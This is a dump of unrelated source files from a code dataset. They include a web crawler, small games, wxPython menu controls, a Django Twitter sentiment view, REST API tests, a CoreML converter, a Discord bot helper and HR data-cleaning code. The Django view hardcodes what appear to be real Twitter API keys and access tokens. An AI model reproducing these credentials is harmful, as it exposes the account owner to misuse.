0\n\n c = 0\n\n while len(set_queue) > 0:\n c += 1\n\n # Logging\n if c % 1000 == 0:\n t = (time.time() - start_time)\n print_log(t, decoding_error)\n\n current_url = set_queue.pop()\n\n visited.add(current_url)\n\n # Download current file\n header, response, path = do_http_get_request(current_url)\n\n if header.count(b\"200 OK\") == 0:\n continue\n\n save_to_file(response, path)\n\n # If Unicode Error, log and continue\n link_set = search_all_links(response, current_url)\n if link_set != -1:\n set_queue.symmetric_difference_update(link_set)\n else:\n decoding_error += 1\n file = open('log.txt', 'a')\n file.write(\"\\n ********** UTF8 DECODING ERROR ********** \\n\\n\")\n file.close()\n continue\n\n t = (time.time() - start_time)\n print_log(t, decoding_error)\n file = open('log.txt', 'a')\n file.write(\"\\n *************************************** \\n\")\n file.write(\"\\n\\n ********** FINISHED CRAWLING ********** \\n\\n\")\n file.write(\"\\n *************************************** \\n\")\n file.close()\n\n return\n\n\n# returns all necessary information for task 3\ndef report_func():\n # Total amount of webpages\n # external and internal links per webbpage\n main_func()\n\n # total links: [(total links, internal links, external links)]\n return len(visited), total_links\n\n\n# call all functions\ndef main_func():\n # Create download folder\n os.makedirs(os.path.dirname(\"dump/\"), exist_ok=True)\n\n # Create a new file or overwrite the existing one\n file = open('log.txt', 'w')\n file.write(\"Start crawling ... \\n\")\n file.close()\n url = 'http://141.26.208.82/articles/g/e/r/Germany.html'\n worker(url)\n\n\nif __name__ == '__main__':\n main_func()\n","sub_path":"assignment5/web_crawler.py","file_name":"web_crawler.py","file_ext":"py","file_size_in_byte":6297,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"11"} +{"seq_id":"292134390","text":"# -*- coding: utf-8 -*-\n\nfrom random import randint\n\nrand = randint(0,99)\n\natt = 0\npuntaje = 100\n\nwhile att < 10:\n att += 1\n print(\"ingrese un valor:\")\n val = int(input())\n if(rand > val):\n print(\"Su valor es menor al de la máquina... \")\n puntaje-=10\n elif (rand < val):\n print(\"Su valor es mayor al de la máquina... \")\n puntaje-=10\n else:\n print(\"Ha ganado...\")\n print(\"La cantidad de intentos fue: \"+str(att))\n print(\"Su puntaje es: \"+str(puntaje))\n break\n\nelse:\n print(\"Ha excedido el número de intentos permitidos, ha perdido... F\")\n print(\"Su puntaje es: \" +str(puntaje))\n \n \n \n \n\n\n\n\n","sub_path":"Python/temp.py","file_name":"temp.py","file_ext":"py","file_size_in_byte":688,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"11"} +{"seq_id":"251669894","text":"# zeiten.py \n\ndef zeitInSekunden(h, m, s):\n gesamt = 0\n gesamt += h * 3600\n gesamt += m * 60\n gesamt += s\n return gesamt\n\nbeginnZeit = input(\"Beginnzeit: \")\n# endeZeit = input(\"Endezeit: \")\n\n# Zeit im Format HH:MM:SS\nbeginn = beginnZeit.split(\":\")\nprint (beginn)\n\nh = int(beginn[0])\nm = int(beginn[1])\ns = int(beginn[2])\n\nprint(\"Stunden :\", h)\nprint(\"Minuten :\", m)\nprint(\"Sekunden:\", s)\n\nbeginnSekunden = zeitInSekunden(h, m, s)\nprint(\"Gesamt Sekunden Beginn:\", beginnSekunden)","sub_path":"zeiten.py","file_name":"zeiten.py","file_ext":"py","file_size_in_byte":493,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"11"} +{"seq_id":"259853260","text":"\"\"\"\nAddressed controls - add elements using a string address system.\n\n\nAddressedMenu - A menu control using addresses to add items.\nAddressedTreeCtrl - A modified tree control using addresses to add items.\n\"\"\"\nimport wx\n\nclass AddressedMenu(wx.Menu):\n def __init__(self):\n wx.Menu.__init__(self)\n self.submenus={}\n \n def Append(self,id,address,help, kind=wx.ITEM_NORMAL):\n \"\"\"\n Append a menu item to the sub menu given by the address.\n where address='sub_menu\\\\sub_submenu\\\\item name' \n Returns the item object\n \"\"\"\n root,sep,name = address.rpartition('\\\\')\n menu = self.GetMenu(root)\n item = wx.Menu.Append(menu,id, name, help, kind)\n return item\n\n def Insert(self,pos, id,address,help, kind=wx.ITEM_NORMAL):\n \"\"\"\n Insert a menu item to the sub menu given by the address.\n where address='sub_menu\\\\sub_submenu\\\\item name' \n Returns the item object\n \"\"\"\n root,sep,name = address.rpartition('\\\\')\n menu = self.GetMenu(root)\n item = wx.Menu.Insert(menu,pos,id, name, help, kind)\n return item\n\n def AppendItem(self,id,address,help):\n \"\"\"\n Append a menu item to the sub menu given by the address.\n where address='sub_menu\\\\sub_submenu\\\\item name' \n Returns the item object\n \"\"\"\n root,sep,name = address.rpartition('\\\\')\n menu = self.GetMenu(root)\n item = wx.MenuItem(menu, id,text=name,help=help)\n wx.Menu.AppendItem(menu,item)\n return item\n\n def InsertItem(self,pos,id,address,help):\n \"\"\"\n Insert a menu item to the sub menu given by the address.\n where address='sub_menu\\\\sub_submenu\\\\item name' \n Returns the item object\n \"\"\"\n root,sep,name = address.rpartition('\\\\')\n menu = self.GetMenu(root)\n item = wx.MenuItem(menu, id,text=name,help=help)\n wx.Menu.InsertItem(menu,pos,item)\n return item\n\n def AppendCheckItem(self, id, address, help):\n \"\"\"\n Append a check item to to the sub menu given by the address.\n where address='sub_menu\\\\sub_submenu\\\\item name' \n Returns the item object\n \"\"\"\n root,sep,name = address.rpartition('\\\\')\n menu = self.GetMenu(root)\n item = wx.Menu.AppendCheckItem(menu,id,name,help)\n return item\n \n def InsertCheckItem(self,pos, id, address, help):\n \"\"\"\n Insert a check item to to the sub menu given by the address.\n where address='sub_menu\\\\sub_submenu\\\\item name' \n Returns the item object\n \"\"\"\n root,sep,name = address.rpartition('\\\\')\n menu = self.GetMenu(root)\n item = wx.Menu.InsertCheckItem(menu,pos,id,name,help)\n return item\n\n def AppendRadioItem(self, id, address, help):\n \"\"\"\n Append a radio item to to the sub menu given by the address.\n where address='sub_menu\\\\sub_submenu\\\\item name' \n Returns the item object\n \"\"\"\n root,sep,name = address.rpartition('\\\\')\n menu = self.GetMenu(root)\n item = wx.Menu.AppendRadioItem(menu,id,name,help)\n return item\n \n def InsertRadioItem(self, pos, id, address, help):\n \"\"\"\n Append a radio item to to the sub menu given by the address.\n where address='sub_menu\\\\sub_submenu\\\\item name' \n Returns the item object\n \"\"\"\n root,sep,name = address.rpartition('\\\\')\n menu = self.GetMenu(root)\n item = wx.Menu.InsertRadioItem(menu,pos, id,name,help)\n return item\n\n def AppendSeparator(self,address=''):\n \"\"\"\n Append a seperator item to the sub menu given by the address.\n Returns the item object\n \"\"\"\n menu = self.GetMenu(address)\n item = wx.Menu.AppendSeparator(menu)\n return item\n\n def InsertSeparator(self,pos, address=''):\n \"\"\"\n Append a seperator item to the sub menu given by the address.\n Returns the item object\n \"\"\"\n menu = self.GetMenu(address)\n item = wx.Menu.InsertSeparator(menu, pos)\n return item\n\n def AppendSubMenu(self, *args, **kwargs):\n raise Exception('Use the address system to add submenus automatically that can be addressed')\n\n def AppendMenu(self, *args, **kwargs):\n raise Exception('Use the address system to add submenus automatically that can be addressed')\n\n def InsertSubMenu(self, *args, **kwargs):\n raise Exception('Use the address system to add submenus automatically that can be addressed')\n\n def InsertMenu(self, *args, **kwargs):\n raise Exception('Use the address system to add submenus automatically that can be addressed')\n\n def GetMenu(self, address):\n \"\"\"\n Get the menu corresponding to the address above.\n Returns \n \"\"\"\n if address=='':\n return self\n\n menu_name,sep,sub_address = address.partition('\\\\')\n #get/create the menu called menu_name\n if self.submenus.has_key(menu_name) is False:\n #create sub menu\n submenu = AddressedMenu()\n wx.Menu.AppendSubMenu(self,submenu, menu_name)\n self.submenus[menu_name]=submenu\n else:\n submenu = self.submenus[menu_name] \n if sub_address == '':\n return submenu\n #this is not the menu you are looking for...\n menu = submenu.GetMenu(sub_address)\n return menu\n\nclass TestMenuFrame(wx.Frame):\n def __init__(self):\n wx.Frame.__init__(self, None, -1,'test frame')\n self.Bind(wx.EVT_RIGHT_DOWN, self.OnRDown)\n\n self.menu = AddressedMenu()\n self.menu.AppendItem(-1,'item1','')\n self.menu.AppendSeparator('') \n self.menu.AppendItem(-1,'sub1\\\\item1','') \n self.menu.AppendSeparator('') \n self.radio = self.menu.AppendRadioItem(-1,'Radio item2','')\n self.check = self.menu.AppendCheckItem(-1,'sub1\\\\check item2','')\n self.menu.AppendItem(-1,'sub1\\\\subsub1\\\\item1','')\n self.menu.AppendCheckItem(-1,'sub1\\\\subsub1\\\\another sub\\\\a','')\n self.menu.AppendRadioItem(-1,'sub1\\\\subsub1\\\\item2','')\n self.menu.AppendItem(-1,'item3','')\n\n def OnRDown(self,event):\n #display the menu\n self.PopupMenu(self.menu)\n\n\nclass AddressedTreeCtrl(wx.TreeCtrl):\n def __init__(self, *args, **kwargs):\n \"\"\"\n A modified TreeCtrl using addresses to add items, along with automatic\n sorting of children.\n \"\"\"\n wx.TreeCtrl.__init__(self, *args, **kwargs)\n\n def AddItem(self,address='\\\\child', pydata=None, image=-1):\n \"\"\"\n Add an item to the tree at the address given.\n \"\"\"\n\n #check if the item already exists\n if self.ItemExists(address) is True:\n raise Exception('Item address already exists')\n\n #check if the parent item exists\n parent,sep,name = address.rpartition('\\\\')\n if self.ItemExists(parent) is False:\n raise Exception('Item address\\' parent does not exist')\n\n #get parent and create new child\n parentitem = self.GetItem(parent)\n child = self.AppendItem(parentitem, name, image)\n self.SetItemPyData(child,pydata)\n self.SortChildren(parentitem)\n\n def GetItem(self,address='\\\\'):\n \"\"\"\n Find the item for the address specified.\n address = '\\\\' is the root item\n address = '\\\\item1' is a child of the root item\n address = ''\\\\item1\\\\sub1' is a child of item1\n \"\"\"\n if address=='':\n return self.GetRootItem()\n\n parent,sep,name = address.rpartition('\\\\')\n if parent=='':\n parent_item = self.GetRootItem()\n else:\n parent_item = self.GetItem(parent)\n \n #find the correct child\n nextchild,cookie = self.GetFirstChild(parent_item)\n while (nextchild.IsOk()):\n if self.GetItemText(nextchild) == name:\n return nextchild\n nextchild = self.GetNextSibling(nextchild)\n raise Exception('Item not found')\n\n def ItemExists(self,address='\\\\'):\n \"\"\"\n Check if the item at the address given exists\n \"\"\"\n if address=='':\n return True\n\n parent,sep,name = address.rpartition('\\\\')\n if parent=='':\n parent_item = self.GetRootItem()\n else:\n if self.ItemExists(parent):\n parent_item = self.GetItem(parent)\n else:\n return False\n\n #find the correct child\n nextchild,cookie = self.GetFirstChild(parent_item)\n while (nextchild.IsOk()):\n if self.GetItemText(nextchild) == name:\n return True\n nextchild = self.GetNextSibling(nextchild)\n return False\n\n def OnCompareItems(self, item1, item2):\n t1 = self.GetItemText(item1)\n t2 = self.GetItemText(item2)\n if t1 < t2: return -1\n if t1 == t2: return 0\n return 1\n","sub_path":"PythonToolkit-14.04.04/ptk_lib/controls/addressed_ctrls.py","file_name":"addressed_ctrls.py","file_ext":"py","file_size_in_byte":9051,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"11"} +{"seq_id":"500972360","text":"from django.shortcuts import render\nfrom django import forms\n\n\nimport requests\nimport glob\nfrom bs4 import BeautifulSoup\nimport pandas as pd\nimport re\nimport tweepy\nfrom tweepy import OAuthHandler\nfrom textblob import TextBlob\n\n\nclass NameForm(forms.Form):\n company = forms.CharField(label='company', max_length=100)\n\n\ndef fetch(request):\n #labels = ['neutral_tweet' , 'Negative_tweet' , 'Positive_tweet' ]\n values = [33 , 33 , 34]\n\n if request.method == 'POST':\n company = ''\n form = NameForm(request.POST)\n\n company = request.POST.get('company')\n\n\n\n\n class TwitterClient(object):\n\n def __init__(self):\n\n # keys and tokens from the Twitter Dev Console\n consumer_key = 'D6MkertW4Sj8rBSYoOsbvdhJl'\n consumer_secret = 'EldSKoYJlcXgHb2mbYqv7FZd98nOhmdex8sSmiTdarEjK5iGUM'\n access_token = '983592056445534210-vbGACTti0KK8fxa7fVks7qnlnHDFgxM'\n access_token_secret = '2IA4ordLzeGu48T9MgdzCQ62n2hiINrjnyzAMK9y84gau'\n\n # attempt authentication\n try:\n # create OAuthHandler object\n self.auth = OAuthHandler(consumer_key, consumer_secret)\n # set access token and secret\n self.auth.set_access_token(access_token, access_token_secret)\n # create tweepy API object to fetch tweets\n self.api = tweepy.API(self.auth)\n except:\n print(\"Error: Authentication Failed\")\n\n def clean_tweet(self, tweet):\n\n return ' '.join(re.sub(\"(@[A-Za-z0-9]+)|([^0-9A-Za-z \\t]) |(\\w+:\\/\\/\\S+)\" , \" \", tweet).split())\n\n def get_tweet_sentiment(self, tweet):\n\n # create TextBlob object of passed tweet text\n analysis = TextBlob(self.clean_tweet(tweet))\n # set sentiment\n if analysis.sentiment.polarity > 0:\n return 'positive'\n elif analysis.sentiment.polarity == 0:\n return 'neutral'\n else:\n return 'negative'\n\n def get_tweets(self, query, count = 10):\n\n # empty list to store parsed tweets\n tweets = []\n\n try:\n # call twitter api to fetch tweets\n fetched_tweets = self.api.search(q = query, count = count)\n\n # parsing tweets one by one\n for tweet in fetched_tweets:\n # empty dictionary to store required params of a tweet\n parsed_tweet = {}\n\n # saving text of tweet\n parsed_tweet['text'] = tweet.text\n # saving sentiment of tweet\n parsed_tweet['sentiment'] = self.get_tweet_sentiment(tweet.text)\n\n # appending parsed tweet to tweets list\n if tweet.retweet_count > 0:\n # if tweet has retweets, ensure that it is appended only once\n if parsed_tweet not in tweets:\n tweets.append(parsed_tweet)\n else:\n tweets.append(parsed_tweet)\n\n # return parsed tweets\n return tweets\n\n except tweepy.TweepError as e:\n # print error (if any)\n print(\"Error : \" + str(e))\n\n\n # creating object of TwitterClient Class\n api = TwitterClient()\n # calling function to get tweets\n tweets = api.get_tweets(query = company, count = 200)\n\n # picking positive tweets from tweets\n ptweets = [tweet for tweet in tweets if tweet['sentiment'] == 'positive']\n # percentage of positive tweets\n #return(\"Positive tweets percentage: {} %\".format(100*len(ptweets)/len(tweets)))\n # picking negative tweets from tweets\n ntweets = [tweet for tweet in tweets if tweet['sentiment'] == 'negative']\n # percentage of negative tweets\n #print(\"Negative tweets percentage: {} %\".format(100*len(ntweets)/len(tweets)))\n # percentage of neutral tweets\n #return(\" \\t Neutral tweets percentage: {} % \".format(100*(len(tweets) -len( ntweets) - len(ptweets))/len(tweets)) + \" \\n \\t Negative tweets percentage: {} %\".format(100*len(ntweets)/len(tweets)) + \" \\n \\t Positive tweets percentage: {} %\".format(100*len(ptweets)/len(tweets)) )\n #dict = {'values': {u'neutral_tweet':(100*(len(tweets) -len( ntweets) - len(ptweets))/len(tweets)) , u'positive':(100*len(ptweets)/len(tweets)) , u'negative':(100*len(ntweets)/len(tweets))}}\n #labels = [('neutral_tweet') , ('Negative_tweet') , ('Positive_tweet') ]\n values = [(100*(len(tweets) -len( ntweets) - len(ptweets))/len(tweets)) , (100*len(ntweets)/len(tweets)) , (100*len(ptweets)/len(tweets))]\n return render(request, 'myapp/company.html', { 'company': company , 'values' : values })\n\n # check whether it's valid:\n else:\n company = 'cipla'\n return render(request, 'myapp/company.html', { 'company': company , 'values' : values })\n\n\n # if a GET (or any other method) we'll create a blank form\n\n\ndef chart(request):\n return render(request, 'myapp/chart.html')\n\n\ndef company(request):\n\tif request.method == 'POST':\n\t\tform = NameForm(request.POST)\n\t\tprint(form)\n\t\treturn render(request, 'myapp/company.html', {'company': company , 'values' : values})\n","sub_path":"visualization/tweeter/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":5591,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"11"} +{"seq_id":"54100621","text":"from circle import *\n\ndef parser(map):\n map = \"song/\" + map + \"/\" + map + \".msu\"\n f = open(map, \"r\")\n if f.mode == 'r':\n content = f.read()\n lines = content.split('\\n')\n circles = []\n start = 0\n for line in lines:\n if line == \"[Hit Objects]\":\n start += 1\n break\n start += 1\n for i in range(start, len(lines) - 1):\n line = lines[i].split('/')\n circles.append(Circle(line[0], line[1], line[2], line[3]))\n return (circles)\n","sub_path":"parser.py","file_name":"parser.py","file_ext":"py","file_size_in_byte":504,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"11"} +{"seq_id":"208409938","text":"import json\n\nfrom django.core.management import call_command\nfrom django.core.management.base import CommandError\nfrom django.test import TestCase\nfrom rest_framework.reverse import reverse_lazy\nfrom rest_framework.test import APITestCase\n\nfrom ...models import (\n User,\n)\n\n\nclass BaseTestCase(APITestCase):\n\n def setUp(self):\n self.url = reverse_lazy(\"customer-list\")\n self.good_user_data = {\n \"first_name\": \"string\",\n \"last_name\": \"string\",\n \"email\": \"diogosimao@gmail.com\",\n \"contact_phone_number\": 0,\n \"mobile_phone_number\": 0\n }\n user = User.objects.create(**self.good_user_data)\n user.set_password(\"lembrar\")\n user.save()\n self.assertTrue(self.client.login(username=user.email, password=\"lembrar\"))\n self.url = reverse_lazy(\"product-list\")\n self.good_data = {\n \"is_active\": True,\n \"slug\": \"string\",\n \"name\": \"string\",\n \"description\": \"string\"\n }\n self.bad_url = \"/core/api/v1/production/{pk}/\".format(pk=909)\n self.bad_data = {\"bad_data\": 69, \"slug\": \"\", \"description\": \"Teste\"}\n\n def test_create_product(self):\n response = self.client.post(self.url, self.good_data, format=\"json\")\n self.assertEqual(response.status_code, 201)\n self.assertEqual(response.data[\"name\"], self.good_data[\"name\"])\n self.assertEqual(response.data[\"slug\"], self.good_data[\"slug\"])\n self.assertEqual(response.data[\"description\"], self.good_data[\"description\"])\n self.good_url = reverse_lazy(\"product-detail\", kwargs={\"pk\": response.data[\"id\"]})\n\n def test_create_product_error(self):\n response = self.client.post(self.url, self.bad_data, format=\"json\")\n self.assertEqual(response.status_code, 400)\n\n def test_list_product(self):\n response = self.client.post(self.url, self.good_data, format=\"json\")\n response = self.client.get(self.url)\n self.assertEqual(response.status_code, 200)\n\n def test_retrieve_product(self):\n response = self.client.post(self.url, self.good_data, format=\"json\")\n self.good_url = reverse_lazy(\"product-detail\", kwargs={\"pk\": response.data[\"id\"]})\n response = self.client.get(self.good_url)\n self.assertEqual(response.status_code, 200)\n self.assertEqual(response.data[\"description\"], self.good_data[\"description\"])\n\n def test_retrieve_product_error(self):\n response = self.client.get(self.bad_url)\n self.assertEqual(response.status_code, 404)\n\n def test_update_product(self):\n response = self.client.post(self.url, self.good_data, format=\"json\")\n self.good_url = reverse_lazy(\"product-detail\", kwargs={\"pk\": response.data[\"id\"]})\n self.good_data[\"description\"] = \"Updated\"\n response = self.client.put(self.good_url, self.good_data, format=\"json\")\n self.assertEqual(response.status_code, 200)\n self.assertEqual(response.data[\"description\"], self.good_data[\"description\"])\n\n def test_update_product_error(self):\n response = self.client.post(self.url, self.good_data, format=\"json\")\n self.good_url = reverse_lazy(\"product-detail\", kwargs={\"pk\": response.data[\"id\"]})\n response = self.client.put(self.bad_url, self.good_data, format=\"json\")\n self.assertEqual(response.status_code, 404)\n response = self.client.put(self.good_url, self.bad_data, format=\"json\")\n self.assertEqual(response.status_code, 400)\n\n def test_delete_product(self):\n response = self.client.post(self.url, self.good_data, format=\"json\")\n self.good_url = reverse_lazy(\"product-detail\", kwargs={\"pk\": response.data[\"id\"]})\n response = self.client.delete(self.good_url)\n self.assertEqual(response.status_code, 204)\n\n def test_delete_product_error(self):\n response = self.client.delete(self.bad_url)\n self.assertEqual(response.status_code, 404)\n\n\nclass GeneratorsTestCase(TestCase):\n\n def test_invalid_format(self):\n try:\n args = [\"api\"]\n opts = {\"format\": \"wifi\", \"force\": True}\n call_command(\"generate\", *args, **opts)\n except Exception as e:\n self.assertTrue(isinstance(e, CommandError))\n","sub_path":"dxlab/apps/core/api/tests/tests_products.py","file_name":"tests_products.py","file_ext":"py","file_size_in_byte":4286,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"11"} +{"seq_id":"497496052","text":"import argparse\nimport keras_contrib\nimport logging\nimport sys\n\nfrom style_transfer import layer_converters\nfrom style_transfer import layers\nfrom style_transfer import models\nfrom style_transfer.fritz_coreml_converter import FritzCoremlConverter\n\nlogging.basicConfig(level=logging.INFO)\nlogger = logging.getLogger('convert_to_coreml')\n\n\ndef main(argv):\n\n parser = argparse.ArgumentParser(\n description='Stylize an image using a trained model.'\n )\n parser.add_argument(\n '--keras-checkpoint', type=str, required=True,\n help='Weights from a trained Style Transfer Network.'\n )\n parser.add_argument(\n '--alpha', type=float, required=True,\n help='The width multiplier of the network.'\n )\n parser.add_argument(\n '--coreml-model', type=str, required=True,\n help='A CoreML output file to save to'\n )\n parser.add_argument(\n '--image-size', type=str, default='640,480',\n help='The size of input and output of the final Core ML model: H,W'\n )\n parser.add_argument(\n '--use-small-network', action='store_true',\n help=('Use a very small network architecture that works in real time '\n 'on some mobile devices using only CPU')\n )\n\n args = parser.parse_args(argv)\n\n image_size = [int(dim) for dim in args.image_size.split(',')]\n # Map custom layers to their custom coreml converters\n custom_layers = {\n keras_contrib.layers.InstanceNormalization: layer_converters.convert_instancenormalization, # NOQA\n layers.DeprocessStylizedImage: layer_converters.convert_deprocessstylizedimage # NOQA\n }\n\n logger.info('Loading model weights from %s' % args.keras_checkpoint)\n\n if args.use_small_network:\n model = models.SmallStyleTransferNetwork.build(\n image_size,\n alpha=args.alpha,\n checkpoint_file=args.keras_checkpoint\n )\n else:\n model = models.StyleTransferNetwork.build(\n image_size,\n alpha=args.alpha,\n checkpoint_file=args.keras_checkpoint\n )\n\n fritz_converter = FritzCoremlConverter()\n mlmodel = fritz_converter.convert_keras(\n model,\n input_names=['image'],\n image_input_names=['image'],\n output_names=['stylizedImage'],\n image_output_names=['stylizedImage'],\n custom_layers=custom_layers\n )\n logger.info('Saving .mlmodel to %s' % args.coreml_model)\n mlmodel.save(args.coreml_model)\n\n\nif __name__ == '__main__':\n main(sys.argv[1:])\n","sub_path":"style_transfer/convert_to_coreml.py","file_name":"convert_to_coreml.py","file_ext":"py","file_size_in_byte":2538,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"11"} +{"seq_id":"305076421","text":"__author__ = 'tsaowe'\n\nimport pymongo\nfrom pymongo import ASCENDING, DESCENDING\n\nif __name__ == '__main__':\n conn_mongo = pymongo.Connection('159.226.13.220', 27017)\n db = conn_mongo['test']\n col_query = db['statistics1']\n col_query.create_index([(\"taxonid\", ASCENDING), (\"genename\", ASCENDING)])\n col_query.create_index([(\"taxonid\", ASCENDING), (\"genename\", DESCENDING)])","sub_path":"2013/nov/localmongo.py","file_name":"localmongo.py","file_ext":"py","file_size_in_byte":387,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"11"} +{"seq_id":"442222131","text":"# coding=utf-8\n# Androxus bot\n# embedHelpCommand.py\n\n__author__ = 'Rafael'\n\nfrom datetime import datetime\n\nimport discord\nfrom discord.ext import commands\n\nfrom Classes.Androxus import Androxus\nfrom database.Conexao import Conexao\nfrom database.Repositories.ComandoDesativadoRepository import ComandoDesativadoRepository\nfrom database.Repositories.ServidorRepository import ServidorRepository\nfrom utils.Utils import random_color, pegar_o_prefixo\n\n\ndef embedHelpCommand(bot: Androxus = None,\n ctx: commands.Context = None,\n comando: str = None,\n descricao: str = None,\n parametros: list = [],\n exemplos: list = [],\n aliases: list = [],\n perm_pessoa: str = None,\n perm_bot: str = None,\n cor: int = None):\n conexao = Conexao()\n # se a pessoa usou o comando, mencionando o bot:\n if ctx.prefix.replace(\"!\", \"\").replace(\" \", \"\") == bot.user.mention:\n # vai pegar o prefixo que está no banco\n prefixo = pegar_o_prefixo(bot, ctx, False, conexao)\n else:\n # se a pessoa não marcou o bot:\n prefixo = ctx.prefix\n # se a cor não for passada, vai ser usada uma cor aleatória\n cor_a_usar = cor or random_color()\n if comando is None:\n comando = ctx.command.name\n if descricao is None:\n descricao = ctx.command.description\n # precisa fazer uma copia da lista, senão\n # as alterações feitas aqui\n # vão refletir no comando fora da função\n if len(parametros) == 0:\n parametros = ctx.command.parameters.copy()\n if len(exemplos) == 0:\n exemplos = ctx.command.examples.copy()\n if len(aliases) == 0:\n aliases = ctx.command.aliases.copy()\n if perm_pessoa is None:\n perm_pessoa = ctx.command.perm_user\n if perm_bot is None:\n perm_bot = ctx.command.perm_bot\n exemplo = '\\n'.join(exemplos).format(prefix=ctx.prefix,\n author_mention=ctx.author.mention,\n this_channel=f'<#{ctx.channel.id}>')\n como_usar = f'``{prefixo}{comando}`` '\n comando_esta_desativado = False\n if ctx.guild is not None: # se a mensagem foi enviar de um server\n servidor = ServidorRepository().get_servidor(conexao, ctx.guild.id)\n cmds_desativados = ComandoDesativadoRepository().get_commands(conexao, servidor)\n # for em todos os comandos desativados\n try:\n for comando_desativado in cmds_desativados:\n if comando in comando_desativado.comando: # vê se o comando principal, está desativado\n comando_esta_desativado = True\n break\n for comando_alias in aliases: # vai verificar se algum \"sinônimo\" desse comando, está desativado\n if comando_alias in comando_desativado.comando: # verifica se o comando está desativado\n comando_esta_desativado = True\n raise Exception()\n except Exception: # foi usado raise error, para conseguir parar os dois laços\n pass\n if parametros: # se tiver pelo menos 1 item nos parâmetros\n for c in range(0, len(parametros)): # vai adicionar `` antes, e depois dos parâmetros, em todos os itens\n parametros[c] = f'``{parametros[c]}``'\n como_usar += ' '.join(parametros) # adiciona os parâmetros no \"como_usar\"\n if aliases:\n for c in range(0, len(aliases)): # vai adicionar `` antes, e depois de alias\n aliases[c] = f'``{prefixo}{aliases[c]}``'\n if len(aliases) == 1:\n alias = aliases[0]\n else:\n alias = ', '.join(aliases)\n embed = discord.Embed(title=f'``{prefixo}{comando}``',\n colour=discord.Colour(cor_a_usar),\n description=descricao,\n timestamp=datetime.utcnow())\n embed.set_author(name='Androxus',\n icon_url=bot.user.avatar_url)\n embed.set_footer(text=f'{ctx.author}',\n icon_url=ctx.author.avatar_url)\n embed.add_field(name='**Como usar?**',\n value=como_usar,\n inline=False)\n if parametros: # novamente, só vai entrar, se tiver pelo menos 1 item nos parâmetros\n embed.add_field(\n name=' Tudo que estiver entre **<>** é obrigatório, e tudo que estiver '\n 'entre **[]** é opcional.',\n value='** **', inline=False)\n embed.add_field(name='📖 Exemplo',\n value=exemplo,\n inline=False)\n if aliases:\n embed.add_field(name=':twisted_rightwards_arrows: Sinônimos',\n value=alias,\n inline=False)\n if perm_pessoa or perm_bot:\n requisito_p = ''\n requisito_b = ''\n if perm_pessoa:\n requisito_p = f'Você precisa ter permissão de ``{perm_pessoa}`` para usar este comando!'\n if perm_bot:\n requisito_b = f'\\nEu preciso ter permissão de ``{perm_bot}`` para realizar este comando!'\n embed.add_field(name=':name_badge: Requisitos:',\n value=f'{requisito_p}{requisito_b}',\n inline=False)\n if comando_esta_desativado: # se o comando estiver desativado\n embed.add_field(\n name=\" **O comando foi desativado por algum administrador do server!**\",\n value=\"**Se você usar este comando, eu não irei responder!**\",\n inline=False)\n conexao.fechar()\n return embed\n","sub_path":"modelos/embedHelpCommand.py","file_name":"embedHelpCommand.py","file_ext":"py","file_size_in_byte":5742,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"11"} +{"seq_id":"218673868","text":"\"\"\"\nhttps://leetcode.com/problems/split-a-string-into-the-max-number-of-unique-substrings/\n\nBacktracking\nTime Complexity: O(2^N)\n\"\"\"\nclass Solution:\n def maxUniqueSplit(self, s: str) -> int:\n def helper(s, seen):\n ans = 0\n if s:\n for i in range(1, len(s) + 1):\n cand = s[:i]\n if cand not in seen:\n seen.add(cand)\n ans = max(ans, 1 + helper(s[i:], seen))\n seen.remove(cand)\n return ans\n\n return helper(s, set())\n","sub_path":"1593_SplitAStringIntoTheMaxNumberOfUniqueSubstrings.py","file_name":"1593_SplitAStringIntoTheMaxNumberOfUniqueSubstrings.py","file_ext":"py","file_size_in_byte":583,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"11"} +{"seq_id":"184592831","text":"from clean_old_data import *\nfrom combine_clean import combine\n\n\ndef split_files():\n df_original = pd.read_excel('./data_files/BrazilRetentionDataset_07192019.xlsx', sheet_name='Data')\n df_original = df_original.drop('Termination_Date', axis=1)\n df_original.info()\n print(df_original['Report_Date'].str.split('/').head())\n\n df_2019 = df_original[df_original['Report_Date'].str.contains('2018')]\n df_2019.info()\n df_2018 = df_original[df_original['Report_Date'].str.contains('2017')]\n df_2018.info()\n df_2017 = df_original[df_original['Report_Date'].str.contains('2016')]\n df_2017.info()\n df_2016 = df_original[df_original['Report_Date'].str.contains('2015')]\n df_2016.info()\n\n df_2019.to_csv('./data_files/BRAZIL/Brazil_2019.csv', sep=',', encoding='utf-8')\n df_2018.to_csv('./data_files/BRAZIL/Brazil_2018.csv', sep=',', encoding='utf-8')\n df_2017.to_csv('./data_files/BRAZIL/Brazil_2017.csv', sep=',', encoding='utf-8')\n df_2016.to_csv('./data_files/BRAZIL/Brazil_2016.csv', sep=',', encoding='utf-8')\n # df_2015.to_csv('Brazil_2015.csv', sep=',', encoding='utf-8')\n\n\ndef clean_dataframe(year):\n from datetime import datetime\n df = pd.read_csv('data_files/BRAZIL/Brazil_'+year+'.csv', sep=',')\n df = df[df['Employee_Pay_Grade'] > 20]\n df.info()\n df2 = pd.DataFrame()\n df2['WWID'] = df['WWID']\n df2['Termination_Reason'] = df['Termination_Reason']\n\n if year == '2016':\n df2['Planned_as_a___of_Bonus_Tar'] = df['_016_Planned_as_a___of_Bonus_Tar']\n df2['Mgr_Change'] = df['Mgr_Change_2016'].map(lambda x: x > 0)\n elif year == '2017':\n df2['Planned_as_a___of_Bonus_Tar'] = df['_017_Planned_as_a___of_Bonus_Tar']\n df2['Mgr_Change'] = df['Mgr_Change_2017'].map(lambda x: x > 0)\n elif year == '2018':\n df2['Planned_as_a___of_Bonus_Tar'] = df['_018_Planned_as_a___of_Bonus_Tar']\n df2['Mgr_Change'] = df['Mgr_Change_2018'].map(lambda x: 